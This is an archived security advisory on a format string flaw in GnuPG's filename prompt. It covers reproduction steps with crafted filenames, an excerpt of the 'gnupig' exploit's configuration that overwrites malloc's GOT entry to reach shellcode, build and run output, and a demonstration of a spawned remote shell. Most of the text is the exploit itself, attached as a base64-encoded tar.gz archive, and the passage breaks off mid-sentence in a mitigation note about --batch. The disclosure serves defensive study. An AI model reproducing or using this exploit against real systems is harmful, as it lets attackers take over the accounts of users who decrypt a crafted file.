TUCoPS :: Crypto :: gnupg3~1.htm

GnuPG format string weakness
Vulnerability

    GnuPG

Affected

    GnuPG

Description

    'fish stiqz' (Synnergy Networks) found following.  GnuPG is a very
    popular  GNU  replacement  for  the  public key encryption program
    PGP.  As described  by its website "GnuPG  is a complete and  free
    replacement for PGP.   Because it does  not use the  patented IDEA
    algorithm, it can  be used without  any restrictions.   GnuPG is a
    RFC2440 (OpenPGP) compliant application."

    Hidden  deep  within  its  code  is  a format string vulnerability
    which can  be triggered  simply by  attempting to  decrypt a  file
    with a specially crafted  filename.  This vulnerability  can allow
    a malicious user to gain  unathorized access to the account  which
    attempted the decryption.

    The problem code  lies in util/ttyio.c  in the 'do_get'  function.
    There  is  a  call  to  a  function  called  'tty_printf'   (which
    eventually results in a  vfprintf call) without a  constant format
    string:

        tty_printf( prompt );

    If gpg attempts to decrypt a  file whose filename does not end  in
    ".gpg",  that  filename  (minus  the  extension)  is copied to the
    prompt string, allowing a user-suppliable format string.

    In order to show the severity of the bug, look first at how it  is
    reproduced.

    1. Create a file with a valid format string as the filename.

        $ echo "hello, how are you friend?" > %8x_%8x_%8x

    2. Encrypt this file.

        $ gpg -r fish@analog.org -e %8x_%8x_%8x
        gpg: this cipher algorithm is depreciated; please use a more standard one!

        $ ls %8x_%8x_%8x*
        %8x_%8x_%8x  %8x_%8x_%8x.gpg

    3. gpg added the ".gpg" extension to the new encrypted file,  give
       it a different one.

        $ mv %8x_%8x_%8x.gpg %8x_%8x_%8x.el8

    4. Now, attempt to decrypt the file.

        $ gpg %8x_%8x_%8x.el8

        You need a passphrase to unlock the secret key for
        user: "fish stiqz (bleh) <fish@analog.org>"
        1024-bit ELG-E key, ID D31DF63D, created 2001-05-24 (main key ID 5ABD075F)

        gpg: %8x_%8x_%8x.el8: unknown suffix
        Enter new filename [ 80af5d9_ 80cefb8_ 80af5ca]:

    Now you will  notice that the  %8x's were expanded!   However, the
    actual filename is not our format string.  The original  filename,
    which is stored inside the file as part of the encrypted data,  is
    the real format string.   So the file could  be renamed again  and
    still produce the same result:

        $ mv %8x_%8x_%8x.el8 README.TXT
        $ gpg README.TXT

        You need a passphrase to unlock the secret key for
        user: "fish stiqz (bleh) <fish@analog.org>"
        1024-bit ELG-E key, ID D31DF63D, created 2001-05-24 (main key ID 5ABD075F)

        gpg: README.TXT: unknown suffix
        Enter new filename [ 80af5d9_ 80cefb0_ 80af5ca]:

    The  exploit  created  simply  creates  and  encrypts  a file that
    exploits this vulnerability.   However, considering that there  is
    no possible way  to determine what  type of machine  the file will
    be decrypted on, the size of the remote environment, the  location
    that libc  is mapped,  etc... the  exploit will  require a  lot of
    knowledge  about  the  remote  system  for  it  to work.  For this
    reason, this exploit can be considered "Proof of Concept".

    There  were  a  few  hurdles  to  get  around  while building this
    exploit.

    First, since  this a  remote attack,  there are  only two  ways to
    feed data  to gpg.   1) Through  the filename  and 2)  through the
    encrypted data inside the file.  Option #1 seemed easiest to  use,
    so we used it.

    Second, since  there are  limitations on  the size  of a filename,
    255 bytes  on Linux  systems for  example, we  need a small format
    string  and  a  small  remote  shellcode.   The  format string and
    shellcode combination would be located on the stack, allowing  the
    Linux kernel  patch from  the Openwall  Project to  defend against
    this  kind  of  attack.   However,  this  is not acceptable for an
    exploit by fish stiqz.  Before the vulnerable call, the prompt  is
    created on  the heap,  and the  format string  copied to  it.  The
    filename (our format string and shellcode combination) taken  from
    the data inside the  file, is also   copied to the heap,  allowing
    two different  places to  store a  remote shellcode  on the  heap.
    The first location is complicated  by the fact that the  prompt is
    filtered through iscntrl(), escaping  all characters in the  range
    of 0x00-0x1f and 0x7f.  But, since 'fish' thought it would be  fun
    to make some remote shellcode to get around this, he chose to  use
    the first location on the heap, but either one is fine.

    Example  exploitation  (overwrite  the  GOT  entry  of malloc() to
    point to the shellcode on the heap):

        (from config.h in the exploit)

        /* <FIXME> */

        /* location of the *local* copy of gpg, used to encrypt the file */
        #define DEFAULT_GPG_PATH "/usr/local/bin/gpg"

        /* contents appended to the format string, or NULL if you want to skip it */
        #define APPEND lnx_i386_remote_shellcode

        /* only needed if appending APPEND is defined, NULL if you wanna skip */
        #define ARCHNOP "\x90"

        /* the overwrites (most definitely needed) */
        short_write_t short_array[] =
        {
            /* overwrite 0x080c9dc4 (GOT of malloc) with 0x080cca60 (shellcode) */
            { 0xca60, 0x080c9dc4 + 0 },
            { 0x080c, 0x080c9dc4 + 2 },
            { 0, 0 }
        };

        /* </FIXME> */

    Make the backdoored file:

        $ make clean && make
        rm -f *~ *.o gnupig
        gcc -Wall -O2 -g -c gnupig.c
        gcc -Wall -O2 -g -c common.c
        gcc -Wall -O2 -g -c file.c
        gcc -Wall -O2 -g -c shellcode.c
        gcc -Wall -O2 -g -c fmtstr.c
        gcc -Wall -O2 -g -o gnupig gnupig.o common.o file.o shellcode.o fmtstr.o

        $ ./gnupig -s -e 366 -a 4 -k fish@analog.org
        [0] shellcode passed.
        [1] running gpg to encrypt the dummy file.
        gpg: this cipher algorithm is depreciated; please use a more standard one!
        [2] created dummy file successfully.

    User runs gpg on the encrypted file:

        $ gpg *.el8
        ...

    Remote shell is spawned (in other terminal):

        $ telnet localhost 16705
        Trying 127.0.0.1...
        Connected to localhost.
        Escape character is '^]'.
        id;
        uid=1000(fish) gid=100(users)
        exit;
        Connection closed by foreign host.

    There are a few other tricks you can do, like doing a return  into
    libc  attacks  and  writing  the  payload  with the format string,
    which can be performed  by this exploit.   It is a very  versatile
    tool.  Unfortunately, or  fortunately (depending on your  point of
    view), these types of attacks will also be unreliable (due to  the
    fact  that  we  dont  know  the  remote  environment or how gpg is
    spawned).

    The exploit code is attached.

    ---
    Content-Type: application/octet-stream; name="gnupig.tar.gz"
    Content-Transfer-Encoding: base64
    Content-Disposition: inline; filename="gnupig.tar.gz"
    Content-MD5: SuIvRNqyAFGpM66j1y1fEg==

    H4sICL3fEzsAA2dudXBpZy50YXIA7Dxpc9s4svlq/gqMMh5LjizrtJM4zryM4yTezVWZTO28
    SlwqiIQklimSw8OyZifvt293AyDBQ87lOLVvzIojEUej0Wj0CWjmp6E72731LZ9ud9jdH43g
    s9vbH3Xxs9sbDulTPbe6+4PucL+/Bx+3ur1efzC4xUbfFCv1pHHCI8ZuTd14fnk7EcXXgdD1
    PjO5/nawWAR+51IKfPHT7XW7e3K9a9d/NBjR+g/2Bnu9PfjeAz4Y3WLdb4JN6fmbr/9td+o7
    YsrG46NXL168ejl+Nh5bt6HE9UWx0NrdZtPUtxM38FkYBUmQrEIRs+1dy54DCbcX/EyMw8j1
    Ez7xxDhO4OusaQd+nDDZos1i908xTtoMGrUOrNSP3ZkvHHxlnvDHi7MwSpqyMdTjkIozbRzn
    PHAdtv2Ce15gNyUoaCVL3whZLN/0SLqa0BqLKGpqTDqdTrFyEc9KlTRj1xNycFlnR4InYozF
    WeviJ3a8LXzHnVrfe3E/4VH7/wWsHc7pm4zxkf3f6/bl/h92R6Nhv0/7f7R/s/+v47n9tY91
    m2nmYdMgYpKh2oyzp376+il7cMh6nW5nxMRF6AVuwiar+ww6MSQ4ixP3jz/ZA/z+P9znXjDr
    BNHsofX1aB09ef7o6a9sY+OQ7fwLRAPbedVnOzPr+WNVcWgd/36M1RJj6+iIGs9s23r1yz/y
    ik6gZVAgpUHA4rnwPDtw8Pt0kYCk6wRXgLIFaN5nGz82AbGWZdme4P59ayNasJ0p2/4/tg3D
    6Ur5eR8aA7ItCz6PjlpQK6fdYju6KZMt4EPNHDp37E5wv6aPzX58YMHzvZny5rm2p2j/2d9k
    jI/I/3531K/Yf3vDG/l/Hc9t17e91BHsQZw4btCZg+w1izx3Uinj0QzLLKBc4tqsYMVJW8oO
    Uvh+yLrSiLLYNjuOItAO9lz8seWzZcTDUESkMBZkt3WsNQYe81vWvy0Gj6xMFuEBvdJ/7rTZ
    hBIYSoJp+q0WOzxkL397/rxFLWRffKaE27QJMwBDsM0aqstm2mJTDpLd+QGUlJuA1Qr233u/
    0YaxD7LuWAUS9eTt+Mmjk+e/vTlWdR8s+ohEkkY+I/Q+4Kwrk45EZaZFozVMIm23fuqsFcwm
    df2cueuO32jytOT/gL0FdgA4DZIt9LIbFCjb5aBNpfWtZ8/HnotQohl+GjSozOjdzilroPGt
    +uG+TpqqYxv1tML5vNyVBlUNdRs+BhO+mRfKMadeGs9Vv5axzo/dJAkq08o9ii+aVpAmOK3N
    FObVNjfWnTufO00C9QXThH44TcLue0uqm+dbPJn+96dg6n6X+E9vuN+r6H8wCW70/zU8Un4d
    0fKnEafgzlxwRynnZC6UH6fctw41n3N/JrAyFiBDvFTELAnYcs4TLFyBgxSknsMm0iVcBWnE
    4lWciAV1xz/0Ai/1AFGWWpYZnnr55ORpJTyVFeYmSkO5ZPMGaaIHT05+f3H8kODBKyg9Octg
    SrPbxgIP40zhCstmITivsNgOzkj4drQKaVLk+yEQPfrj4yePfnv+dvz09dPx60dvn7HGbhpH
    uwRud+L6uwCpoUJYfiL8JGao/WA6BJpABtECSCYjZW0GpELdDeodScaWHFQmtIzP3JCB42yM
    /ej16+OXj5nnX4zdwd29cSQWQSLGmV9Kwwa+t2K+EDgggJSDw0C6txszCc5pl8f1uRzVHPLN
    0bOXr16zxvuLe105L5xCcC6iZeQmwAHNRQAqjZrDezZ2C6EAQ0TJmBqCcSPfeBTx1btTdqiU
    IqKsobHuRfdu177n2EPWfPrqLa6MNNdabOkmc6iHapvvdVkzmzWNRHYPVGNd2wRzh3XZh3ZW
    j+Wl+r5R38bW1gdpvz7YNXjovye29ymPkv9qy3wP/683hH8q/jcYUCwQ4/838b9reaT818vP
    dlgENh/s95gkd0FAMYp9g+hEIS61RriK3Nk8YU3Yln1YSuj/caH+BS4nDk8uZy7kdcaqsU7w
    I4bSLwHlFKUCxRtKLNJXJJO5C1Wc+anngT5KhDTg0VGZ83j8p4iCuJk5t14AFKC+2ohHL0wC
    +wnlCD3TKblg8Mr++ouVqqfTbteo1s5VoRW2KbQyq2VlXt2yNpTn1VOmu/BikRV2DQ8FyBXy
    CPX0MmAlaQzUsaGDiHMCYPOx8MQC9Faz2Hx76kboaZRKYwEkdTRtFAbUdOehnMEOk23UOyFX
    XidYHz9dTMD6AIGvxo8psIBVxSFJf0iUCyGIeClVyxhd6WaN5onfnWo8Cx1dGbHIfLHlHLM8
    qot72pHT+AEa4brk5dxxgHgx1cCSuHfuHBTcYtdYB/LJgOuA5XBGlSkakzIdZNXsC2bzFTOR
    IYQN5UY2Nm/PL+6/TzZvexcUHyiBa1fhgO8oqSFDBRkRYmxHNMjmT0r9D6xottqIrz1XzVyf
    8dhWpksQOYX4ATYZy3E/hzbAY0RTIFENt8SUwnOnaHg+Pv7lt6cEoG4lYuVHaxLtVB6gFLRR
    NgM2lXOUvdsZIjLuE0yLkwBKqNBQy9yQCLCE3Trk1MAZ5TFVgzKvKNgluUHDxZJsTFl03HeY
    40bCThgID74QCWxMBMNtG5a3w9hbsmLTCBaPR7MUR0e7kueZ4gSdAjCJ7dTjCJP2McwVNjhC
    Ip5XXDdJp1MRtaWgBijwD+3SNhq/Sxe4hccxDKFJlY5RJoPRR1ykhJdKRZ9JVSBZYw1ntIs8
    AbotLhWhIetyr21tbLAKDzW3KVSHyAPiLZ21XstviqZrOe4ycVROlEONwk3Wy7EVKlCpIqjN
    pjHwdkY3U6W1WmD49lp5LYJqtUywILPPLwPbH30cBiwHHggwingsZsgu72qxQoCnRmtbt+6P
    ZDFVVXZ/rENYC2AIkTQVRcjOh730leRQQBU96oGuJ4b2ceQJghrG194L7M2mXHtggQcG78D7
    nTuZWNZTVJRR6KhBdSkNvAGWSm7RVKU06CyAVxtU1RhCd4bdyU6CbcInAAREhxRvG4aywx0L
    JR+sDULRDlcGinqT/FRBor1mOQAU8A247PlaZnMrhKCBstACtUXRiCCE66hNEiUSIZSh1FLE
    B1KZ2xo1oYynb+C2u3PIzFqNk8JEGl+q3afwWi1TIHuBq4GyMw6F7U5dQPZrOMSu5RDb4JAN
    YhFE/GFZq1/CGzb3/UDpCobGQZtEUxIEzANlIOqMBM0s00gIg3p5mdpc65iKEC3bMTs0rrK+
    SC74Ctd86uVZA/6bm5upjf/9OEdMtZCvhd4m9UCB9w25zJ83jhwih5GzU91oOdNnssauZXol
    Vg3RDG8AICMtyCJVogl7iXzDMWG7KqBtVuRuhVFWm69UZjCXVrVmUQvOgdYJHyQEZaKAGTJN
    Pel+utLq4zA4t8+QfizC0GOnw+q0vePGYcljS5ATE0Ov535cjf7XyrugtHLqDrrdy5Rcjf7t
    f4meKeLqiDghgfOub2rEeAHovRt1TxVR82bdU8BAzvugVNXLqzDepboW1IMJp4XeQV1V77SV
    SZkv1RmFrW3w9BrV/UWU1ApIw8r0jznL9aqnCgL3U13jWtC90zbJiUuFv5putq1ousBorYNs
    W5V3Xs0Oy4usgmAiLsmdC3yTIunuxXg8JskE34qvSlApcdVbs/0lrLU7eqO6m0HULXE3x8FC
    6Oj7Fqo9f0snEdDhUJs+cw7CMApgNqgec62eyYN6sx8qmle2uatGOSg6d+HiAYf+aAQiewh/
    vb1LNuf6Ra6lbeMRPL/Ak+WzlQMvRblqh4yP6p9wybbjx5dernlBHeGsFHC9rhvrFtzYqtVl
    10Jcpv4d2Avswli2rd+3iEDcBk8y1mkQ8FEVP1AsspgUUQcVeEKKIGYL7q+UUQdvMsVg8gAM
    OuYeLFieeif0C6tIDTQ/yBZAAX0aQ3cx6K3I3YM/2fdSD0FBzHSvAtDG+bcVgMrOKVEQuV5E
    3ko2j6v5IkqlAeORqwyu+TxwQCeDKy5iSmS9AJ9eeKzxgv/+e4P9k4tFOGXNt3Pun8XM4csZ
    O9hpWZWTzXLcAgknrq8PN2+LC2Gfi7Hwz+M2K1A4OytSfYoKjfZuxU2mKsyxkeys2XkXinL6
    kIJuSqyL0mAnWzBAWGqFg8xcvpDmsoH+u4tTbd0fsAttNhdB72TbotiRoFcQyVsbHJOjQNhL
    NOTXB6yZd94ECdJSNfkBj/wgSYNqKMCSRVOc+2wzJTO7wFMZQ+d7QbO0blfLet87F3HzXP9T
    zP99p/Mfw275/Md+v3uT/7uOp5D/m4MMNQ5/6KxgTb7v6LPyffoMx5MXb399+6Z0hsMotCy8
    UoRtZU4KamXoVpqH46SsNGS0WqWTqupEeSIo2woh4APrsttMlyQAQXJ+LDtWSYyV7zldlp7a
    Lt1Xqk/7ZK3WZz+wySeEwreLdlHp7bPC3pXxqs54yQsvjlYFUDbisxZlE28NoPUGTWbN5He3
    ysv8/+yYx9pHy3+65vaNxviI/B+Mentl+T/o927k/3U8Sv7LW447bEH5QfQ1nHSxWMlDbzKF
    pw9M1DoiX3eswyhbxbt4raBaSuK5Wrzkbqnx1PYTr1iU+i4gUCwTUeQHa8+UWOICPFRfxg6w
    5UHmmEmxEudnAvVhwTgNQ/DXKvTBulk461R9LeMWaR5WpVdoPw55MtfvZ2LlZocrnpw8P4Ye
    6kZA6DogyeF/+UoqBihoBibxGCOhWokTG6GE0aUJPF8svxKC8qB4NIvx0B/7t0ruNnYicGBo
    gvgiGm2WEYOOJX6ogUJ+mAml2nIeLITjohs0Ewm0bzaevXpxnEVUikkXfbhThUObU7xcMQXF
    4RtRmWWjesFiA3RLBM5dgxpfGtichino6cYzAfRrs2fBkvFI4InLn8mFm4baXbW9IBZNeteo
    1h1ELfmHUer7yG3AOuWjq/le7sjgK3Y114NCxprnCtVEaKourbsir5FhIPoeNj4hw1CEDZRV
    PQvRsHIjPWAetG4C09MyRWdNuTL5oRVc3rnrOUioDQmqWZxx26RA25xvFuQiOmC2JweKh6hk
    tnBDxuRQAAEeiEub/YQ7rw1ogG/fzQMK+T0chTmJFIw+HJ+8fPumVag2XPOchXJ8PuTpFs0c
    gBFfCBVKo1UXToFLNNmVGMg2WIngWXWjg2eXi2umBMCavlltoyO8uw1jkSRyBnDVtFU6ZKS2
    kWxO+4gC27pf64CpEt3/kp0GNHHAdlZ7O/Cc8v5Ofc/1z3LZpXKHGglZnc2igogZPlHoyNDd
    99bmn/8o+y+/0fwNjMCP3f8c9nv6/G+/h78F0hsM+jf3P67lUQfy8uU3jwCDGplz3/GEOn2p
    G+lLHF8cELjaA8DaMgO/MC5iSgklPwhrUg11NmzuXmYQ6s0zrNHfOcAvppZAJIzz9JKRVZAg
    +qO9T0g0FTNMvT1MM7XxKGl2TKVif2WZfrwK8bCUF8pvWjZy8rhxflxDpoqwaDOVdBPCIcJN
    YAlUoJlCAuY4OhW2w0r4ZBLcoAadnrj8Jqk+2qKgFTozN58kUV0nv6jmsFDVyhJYBog2ozrj
    xIJSbj8Zjd6VJkTTPMXzDo4oRs6NTjpzQ9vCngv7LJZuU5Ed1ZmjBThSuMjcThif4qFKF49N
    Kk8M3tGhmEcpq/1JHeOUNg5U4VVCtMCQ9phGP6yH15TcXFzVbh1PquQncnWvwohyENKlJqiW
    eRy97vSS2bh4fglgY+k7lxI1Ej6+/PWX8QJW39buVn5MKZKQ5csELPwzOjhkshgdSRlX1/Pv
    mASp6P9vkAL4mP6n74X4z2AwvPn9r2t5yvofUwAgllLuGWILkwEwf324snoh9EqyA78+O37+
    /OjV4+NSgqBYjkLWiNfLgyW59XKpFq/5qa71YrSlsgR+4O9EbhiCDAyDKJm4PuZH5JH5kMd4
    aN6NbR+kWLNFSiUO+ZIuFhFEhvkFzFL09va7owy/tVc36UJk4/3FoPf+wu6+v7h77/3FcPj+
    og9/g7vwncoa2CQrHspm9kBXYx01oWoomsDf3h5UOVBl63JqYkPR3fJA8D4cYBdqglUj1Qub
    ICR7XzeXuEDRsCf/EHWnr7oZTe7K8feHOSRssp83wZlMoKeYvr+Y7tVCGdwtz0JNfh8HljMy
    JmzObt/OoIwKgOFzT1EcyiYSynSicOipASbmwBmUykDFJpqS5WbDCf5JukzkAM69fBn16k/k
    Gg2mRk+cCfxN9zWlc1yg2T0sQjwAh3vQZCLwnZpg8T2Acm9P9nb21Se8j/YllD2JgxhIiKOB
    ekciOBJdLNZLCd+H8NlHfLqIo+SXbgM3z98lh/Lf/Cj9jx+zDnfO3TiIVlc8xuX6v9/tD/ZL
    v/867A32bvT/dTzVG2tf/KhA5RtSaIxHEzeJeLQix4nCqykl289TzxcRn7iem6zQpCj+TmAp
    FloOjf668qH3bMVeimQZROBmNedJEt7f3V0ul51Y1XZ8kexWw6r0/FL3yxNmx4eXnGSD2XmC
    x3jyqjva7d/bRTvHunoi6qfJ/uWqq6Jvjh89V7SapDMWEh6Y6gFXPQ1/Zq0rReNKgb3DHxiR
    P4ERqLt9j5SoYaeW1e2wE7CfAiel4xhWr8NeRwE4qAur32G/Bh4xjjXosGP1G5KPweJKY7wj
    Yw077Aj8ZShEQsjjjVeNvYkdIixXge45nguYQxiEqQdS5OnL3/BGkcdtOreR/YJKmE4818Yc
    lw7QI+Zgxc4ivmCvn77uMPYIf40jtiN3AobmBDYGXooVkxgv15gsLiU12M+7rfuW9ZAZuOCx
    FIp60zFq8HIryNBQvwibkzWfMCcA69UPEoCDJYQrHsjGBMLJ4+NHjHuzIHKT+YIuYdrcx2AQ
    JTzxwm6QItVX0DsSGEsgAsUdE6c3T476w2GXNV+FwofhWxJLF3/bhIfwRf4aS4dZ1jPXcYQP
    VBAhQccYCRBBB6rKl1aLckTa4xJBCxrMZhRFid0F5mSBnjxJxCJMVD7WETI7xmVmgG4fc3nf
    invQwY4wLuNYWIsJCbrqCkgUB8XhMLi3hL4LDnNxgzRG8kSU8+Wub6U+BzpF7p+AjLw1q0OR
    8Ea/kicxV+hR4Edo9Oi3Fq6Yl9XOQjbGy7uheiUqe66g+9aw37zdJFm5AXhUyunbcoLxTCRb
    2akpefs3wrWxOJ5J9XBmxs1fLIL5bAEgGXOabrGmnK04Bx5LidLAOamnrnlb+jfLqG8r5zFG
    vyLNJRfnPEAbAJ98iCbOCAjJ0H07oZ/z0bSN6xZ+HsQyo0opNL0fKE4MGMlEWNuiUF7Wqrlw
    /VRGmvGYgI9yqIUsagehm/+6j0JEHWS3iFHkbSbkkB06LuBiHK4UisarUFe75lqE6kXXXAxD
    07oFk3PkXPWTPXJmjc24YdxFrCU1tmmbBEfgvliCMIB1lQoKBL4UB019qxHV/F7LPFACpIvB
    PIhwT03dizazOAo/uvHNcAeTBEPa0el/GIFNBZc/WcHYSSaYgglCxOQnoGTVCk0nWPpewJ3O
    PFl4KHZhEIkfGXiUkod1CPwZUCONZrScFvSOOKYTANEgwB8kAJkP+gcoeOUbtKrjYNVOfPnT
    B3TOZA4Ch+LKsI2IZiqjAWZBm3lBcCZ/dwP4nmFTGVvGm66ow/C2BGrYI3n4oSgAz0GIOSU5
    y/OjLiQJMYj6IxP2PGCNuTzLMM/PMgDpXdg8PzfYQ4a3itSfhZr8ODuSAAtOpxEkLNyjOxEr
    xYfYjihAYNjuvuxsuyGInlw7yd+yCiMU3yBDD7R1hEoNRHMQKUOJRw4LfPGDHNeLzQG2ocx4
    LbygGLDQACFx4jhKTEvxkAsBvfORQYuZ+DabueekcrkFLvFU0CkCQEWRYHFeHq7wLry7Flo6
    L4NlW4szU5rpBTIIWunO2P/C8uAGB5Jg4CqcR0gjAJPClrD/0961/7aNHOGfj3/FxsVFUk5S
    JCdOrnIcIAfLRYAUCS4OesU5NSiSkljJJCtKfiDo/975ZvZFkXJyba5BCzFFTya53Nfs7Dy/
    XWiailbJmkUVIgMqhGUxUgeexNwmqp936va8A3p7ODh82iPBX43f/Kk3xme6JEio0yfD07Nn
    T067OuYmZvtgb3DUO3xK7BTuENRIbx69+ul08PzorBOYCd/qyIhau8hoFatyMyVmQa+NM7hQ
    mCsYFv2r+nEQTo/iP17SjyiZTn68lDtR+HFE/JUGUrDOIF0Tw0+jxPlrqKYW+M8K/L0Igdj2
    QCFgB+utqzdvbF9WPAD9YdsA0N02MwdPJCqdpTRStoEG4gScb03kGQfECdPYC0YCiwlXa7O2
    HTnF4TrssudunnB21HaNwfvcfSYyQHwSWEFzD7GEJUSaTeq85goy+eiKbMijRrqk8Ycecvrn
    cf/8l3NLa96t/1kyc334NylsUKUw3gsN5v1rNQ9p+ZtWaanURBJiMvT8loYhgxgDXVxvkRXZ
    s+8RJIQjoh2JNdREvNI0GZh9St2Ed8IyqCtXsKwLXONdkQi4XjTHTUs4vDImVhQlCs2zro/e
    oumPlf0ku05pz5QUeNy3KIvcnmU6idCcK2AQxt0gWUf9fl8LUDJC2jP6j026Aste5kz5mAaS
    IWcJkoc3a79KwZMMoNWkzAthDaBROWOdiyqjwS2lyfSHqUYLCmbEaC4OSCCmmvJpQDpqlBTr
    gz7PHTWDOQDNB037fLOKlxIRgdzpcEWieyxZmbTtpstYxt7VxFLcmUbKSjNeYKzE6OYTEw+j
    RVdPFTZPhmtc3+QBTRRXNE30ajcBpApxdedzqns2r+zJTEGHHfiM+VlQ5xhqi7/Qx96ygqH+
    MKTVmIA10IClEN0g8JTwCOdEuKzswc0TvGf0Ltcd03D2l/NslyrPKiQSegwPgQyct0mEpN6Q
    BH2r51CcOMltCEGPGGNiuEcJxMdtaSSzTwJDCdb9Y/CItgs4TxYpnxNixNzxG80aAybWJLaN
    l5mx8jruSXsXySpLllCRiXVDxuRn0Gxv0NKASOnvAEviZTaFDsHcttQizyKV6BOZ+35lSxG4
    I6ji0BKLtdELqP3eyRm+4eq416FP/JRMId2s61J9N/CUEMhMmvnoXs6TsOjy6NQDlq0eE4CQ
    z31Ka9e2uN0jTAQZLkijZ2mc1doGQuStLFwSrW2pT7qBdhZoZTjJic0avEp4+3TryjXE66ch
    DCzHwLImVtiuxAQhNhduE4IyrCjghs8PzMAiC6zTr6uSMgoLHgqiAi+/WavODFmBiQfAX29w
    O5zymAWD2+dTTOHG8ojXCgovfKhgiRZDd8OSJYI3JHl+u69BlS2Bmmg/pJbkeuMtzXhDLXAI
    uD4lTDa036RY1RBLpccsno5lYRoq5KK0wbUdViv7hN+eE8dZr+4cUmu7g7qLPBUY22okjFc3
    7cFtXkwGhNqMm66xs4fx/T+G8R18KxzfAFh4ojcTN45zSOFMHUb0xWM+g0c9fMh/0e3KWTzi
    O4OLYhZFlVOGcJSOPj0o2vHYnLiy47Fk5Ox46AU87CquUzcbH9uW/6YDjpQMS/+xLtwroaE/
    efZM9UIgYCxqCjy9j9QBt+g5XAJoDQpINF+WsPB19X6q+fCj3Qq9HKdyw8bZ6Wa5vCOm9wE2
    XGpgya3TzKqq0o+crv2INWyFEx7Q6eBnjz+zioeIkCTmEm1ibjmzWZHDw2WHv0NLLUuEOS/n
    WIEcL0KPzld3GKXh4fP+gP4NqRK6S8JqRqKGMCFbCE/G2IwStw2hAa2/fWzhWUpDhBZu0vhk
    OBgM2piyjprJn202gaE5CNI8drWwNRdJKbxLQuAAfIFUaITl0MrKunerFEGQ4EQQuuMckaIL
    mFjFBmqwUTO0H/pBIGKRqEPgHkb2KsI7WOyEYTTw24rpv0hWeGz284pA/nrt+WxgjaQdBKpW
    nsMS+CGjgmvY64npdQNBPzZ/qzaRmcEgzQTRXnY24mjXaXLT6Wo4fAlLoru2PwJdCQkHvpNs
    lWirbzveJHYLsVLHDYaIvgvVhyFR6ioWdhiY3EB6jro6X9dwDKfdtl9N7Mf8S7dbTKcxSbFL
    ZNmWTmSNiPZZUhMvVx/8NsOUmOJseMbmnXNk2XW+vE7sJKcw7AK5RDBIk/WcNHwa9YD16ElC
    UiVLQjOsZDXbiMYEFZC/0DX1cHO0A5VWYwE1Bi6FchSo3lYFdAPUyh/7+cOb8QO8Ao9cQWKp
    9eVVZd9ZApFbxMmYWE8fZa6TLL+CJ8iUWTJ4EcfGpavIWNWlGIOwUM3lXaoeqrC8yyIwz685
    k8ErSNhQKxlbdVPEbHYwrlijXmCojFcWq/kqRFgwn+cAEg6Iegta8sJyiG9q7+RIaUP7LJ2Q
    wt13G8DjqhHEOvKwLuZsh/YDBIMG5/4+dOj3vrz4Hwgrv0sdn8H/p59P6uf/7vO//yuXxP8m
    t+IhQ/aPFl4qQb7MyYz/zp7o+c2OAfjCzG53K8Ku/JsOEPDfE63Uv+fFSzfmius7EkicF0Bc
    dAnkHEjg8LHZRBIuWesyERwkcFjzEu3yPYz3U9rxNqtIsq/OjcFI64Wee9CiQ9WMtbLvwJQr
    yVIeGm4FRa8xSUT5BzkX7pw6PssZ6ZbplTJZJ/pZSXv1ZQbTwpRBTTkhxfsKPy/8nG2DAP4o
    dqnPYrSQWAn6zIzkAw8GV+pQJ2iIfI9+F6bOk6E6Vhn9r9frquKHH1THy8VNp20buU1dUox2
    Sf89OTHdqSfu0vOTk9ZF1pJ38Xvl/Z62arFj9tm1996Efz9ApbUC0nLkMx0eVx7aTOTmt59u
    Zwo3lpH3HSY//h9D5s9FZv7WcwZoZc6juxGlWIykLP/omUAatoYotonipmkeCNvXnIxHMX3h
    RLUuLlrHDbPEeUGYp/oAm5JZqz6+ldKr+0qvPld6el/p6edKX99X+vpzpSf3lZ7sKt1Mj6bY
    oKnYp9rrpQ4OAZjD7feDQ8CJ4rvHtTfjBhr/55fQsG7Ro8In4kexg8vXuqVQZCU1zz9oRDMT
    dlNocpbHojy2Gvlgqy/ApD4LT0ubIUPlqoBLDeeTbB90j9zGpkMDHM/USXyST9rMngWiU0N4
    MtbkwM9zlDMDbKaey9/XyXBywx88rh0jVz24BAO3KcMZqQe0e+C/2oWQsdGg9M7m4Nd0H22G
    7BZasKTpHfCrI/U9m5ReAJf0JaxKLwa94dFLmJZeMD7IS/WrGBdydl2VHy+yA/2Fi3UvuVhX
    od8dSGzlvXD7PUETBR1YiEXop7Ez8F4Zha/yoYV8CC7ltGJnhgpaebOQN4GuYb4J5R2OktVd
    5c3yYm3TR5OtFCyXZuR8DJXC44s1H+KxHSrJhgWMA3XSDItAqlWKn+4qniuAeS3DO+cfayo/
    Ry9pMUDRVmuSgSRjGI8LCzpSz/4lIgO5wz3fZnDW1SyyCF30x3U1mdXAlBA9b9vu7z9xgm9p
    EBsHGWHxdS4ZTMQ9qOEHS/KrRfHs6rwxnVrbdFKHPqPDrbyDpkACA7TBqWjmHCeiTvVJnf/1
    3fhy/Mu7rv716lz/On39/p2Bu6lUiT6yT//EFq5ACLcjAcShFdSWgcYIE69ORuFoMSpG5fh0
    DpwbgJO8PXOwwkTT0ZwEfE60jWBkbSWtkcyuHh3q5DrfLNsi8HY1Ms/AYPnrZFxTOjSlzYju
    Ks7QqM3fWJhv2PkzwnbT24V52yOh+94vzfuViR42vzw2L9dm4NV5c4nTXSUwudtF4mQaclgO
    3xbWipkDSvvxPcnOj3U6umhwHN5nDuopPUAUmUF9HpQZTHv0xXZ1TQhKiN1I2DpUZR4Ggkbo
    x3TVP5+aR8MMFXXQQSdUoAAZwpu6Z4akWhRj1lyWcQgHt0+H8g++oqND+ScQ2NsfdUPd8DUf
    RZE9XwYs3ZwV5LZ377vehNBga8edBh+Gd8lSwANHNH4avPHauSnR2e4eqkMOmAuOwCQdOzdB
    CJ7Pr35Wi8+I3fEajtpdPfa2y5KVXiC//zsPharm7NG1akZhj874tKuYHEbuTgswH/iuuc0y
    sjhuxk1WNfXXYj9Ig7tmOCooT1bPiSUewkkCLBz0lfoLuziy1lrNcr0phpt1TpSeRpIyYPVu
    I6xK1BYf6zHRORc34ihBrGC5Wd0TRkU1Gi230i8L53xZwXPecVzZtH2gZRcIVwIzZqE4dHam
    6bpV7TyvmI+I5jZPH73OtsQh1gn7aIJKc8Qqs8zmCsdCPK9fbfobZ9/NnxCWR1Cfc/E5HDRf
    6K1+XpPGtzbR7a/9tb/21/7aX/trf+2v/bW/9tf+2l/7a3/9R9e/ACGH1JgAoAAA

    -----

    In many cases GnuPG is used as a backend for a MUA or some script.
    In these cases gpg should be called with the option --batch  which
    suppresses the output of the filename to the tty and thereby makes
